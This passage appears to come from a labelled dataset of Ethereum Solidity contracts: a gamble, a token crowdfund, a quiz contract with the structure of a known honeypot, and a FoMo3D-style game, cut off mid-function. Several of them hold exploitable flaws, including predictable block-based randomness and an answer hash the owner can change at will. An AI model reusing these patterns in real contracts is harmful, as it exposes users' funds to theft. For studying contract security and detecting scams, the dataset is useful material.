_;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function close() public onlyOwner {
selfdestruct(msg.sender);
}
}
contract Gamble is Owned {
uint constant magic = 5;
function getMaxBet() public view returns (uint) {
return getBalance()/magic;
}
function Play() public payable protect protect_mining {
require(msg.value <= getMaxBet());
if (now % magic != 0) {
msg.sender.transfer(msg.value + msg.value/magic);
}
last_blocknumber = block.number;
}
modifier protect {
require(tx.origin == msg.sender);
_;
}
modifier protect_mining {
require (block.number != last_blocknumber);
_;
}
function () public payable {
Play();
}
} | 0 | 230 |
pragma solidity ^0.4.9;
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MainstreetToken is ERC20 {
string public name = 'Mainstreet Token';
uint8 public decimals = 18;
string public symbol = 'MIT';
string public version = 'MIT_0.1';
mapping (address => uint) ownerMIT;
mapping (address => mapping (address => uint)) allowed;
uint public totalMIT;
uint public start;
address public mainstreetCrowdfund;
address public intellisys;
bool public testing;
modifier fromCrowdfund() {
if (msg.sender != mainstreetCrowdfund) {
throw;
}
_;
}
modifier isActive() {
if (block.timestamp < start) {
throw;
}
_;
}
modifier isNotActive() {
if (!testing && block.timestamp >= start) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier allowanceIsZero(address spender, uint value) {
if ((value != 0) && (allowed[msg.sender][spender] != 0)) {
throw;
}
_;
}
function MainstreetToken(address _mainstreetCrowdfund, address _intellisys, uint _start, bool _testing) {
mainstreetCrowdfund = _mainstreetCrowdfund;
intellisys = _intellisys;
start = _start;
testing = _testing;
}
function addTokens(address recipient, uint MIT) external isNotActive fromCrowdfund {
ownerMIT[recipient] += MIT;
uint intellisysMIT = MIT / 10;
ownerMIT[intellisys] += intellisysMIT;
totalMIT += MIT + intellisysMIT;
Transfer(0x0, recipient, MIT);
Transfer(0x0, intellisys, intellisysMIT);
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = totalMIT;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = ownerMIT[_owner];
}
function transfer(address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (ownerMIT[msg.sender] >= _value) {
ownerMIT[msg.sender] -= _value;
ownerMIT[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (allowed[_from][msg.sender] >= _value && ownerMIT[_from] >= _value) {
ownerMIT[_to] += _value;
ownerMIT[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) isActive allowanceIsZero(_spender, _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
}
contract MainstreetCrowdfund {
uint public start;
uint public end;
mapping (address => uint) public senderETH;
mapping (address => uint) public senderMIT;
mapping (address => uint) public recipientETH;
mapping (address => uint) public recipientMIT;
mapping (address => uint) public recipientExtraMIT;
uint public totalETH;
uint public limitETH;
uint public bonus1StartETH;
uint public bonus2StartETH;
mapping (address => bool) public whitelistedAddresses;
address public exitAddress;
address public creator;
MainstreetToken public mainstreetToken;
event MITPurchase(address indexed sender, address indexed recipient, uint ETH, uint MIT);
modifier saleActive() {
if (address(mainstreetToken) == 0) {
throw;
}
if (block.timestamp < start || block.timestamp >= end) {
throw;
}
if (totalETH + msg.value > limitETH) {
throw;
}
_;
}
modifier hasValue() {
if (msg.value == 0) {
throw;
}
_;
}
modifier senderIsWhitelisted() {
if (whitelistedAddresses[msg.sender] != true) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier isCreator() {
if (msg.sender != creator) {
throw;
}
_;
}
modifier tokenContractNotSet() {
if (address(mainstreetToken) != 0) {
throw;
}
_;
}
function MainstreetCrowdfund(uint _start, uint _end, uint _limitETH, uint _bonus1StartETH, uint _bonus2StartETH, address _exitAddress, address whitelist1, address whitelist2, address whitelist3) {
creator = msg.sender;
start = _start;
end = _end;
limitETH = _limitETH;
bonus1StartETH = _bonus1StartETH;
bonus2StartETH = _bonus2StartETH;
whitelistedAddresses[whitelist1] = true;
whitelistedAddresses[whitelist2] = true;
whitelistedAddresses[whitelist3] = true;
exitAddress = _exitAddress;
}
function setTokenContract(MainstreetToken _mainstreetToken) external isCreator tokenContractNotSet {
mainstreetToken = _mainstreetToken;
}
function purchaseMIT(address recipient) external senderIsWhitelisted payable saleActive hasValue recipientIsValid(recipient) returns (uint increaseMIT) {
if (!exitAddress.send(msg.value)) {
throw;
}
senderETH[msg.sender] += msg.value;
recipientETH[recipient] += msg.value;
totalETH += msg.value;
uint MIT = msg.value * 10;
if (block.timestamp - start < 2 weeks) {
MIT += MIT / 10;
}
else if (block.timestamp - start < 5 weeks) {
MIT += MIT / 20;
}
senderMIT[msg.sender] += MIT;
recipientMIT[recipient] += MIT;
uint oldExtra = recipientExtraMIT[recipient];
if (recipientETH[recipient] >= bonus2StartETH) {
recipientExtraMIT[recipient] = (recipientMIT[recipient] * 75) / 1000;
}
else if (recipientETH[recipient] >= bonus1StartETH) {
recipientExtraMIT[recipient] = (recipientMIT[recipient] * 375) / 10000;
}
increaseMIT = MIT + (recipientExtraMIT[recipient] - oldExtra);
mainstreetToken.addTokens(recipient, increaseMIT);
MITPurchase(msg.sender, recipient, msg.value, increaseMIT);
}
} | 0 | 1,813 |
pragma solidity ^0.4.20;
contract ETH_FOR_ANSWER
{
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
} | 1 | 2,107 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularShort is F3Devents {}
contract NewChance is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x2A8Cc43F5124Af19386A34DCb8BF0b2EFc3594Ba);
address private admin = msg.sender;
string constant public name = "New Chance";
string constant public symbol = "NEWCH";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(22,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 1, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(20)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
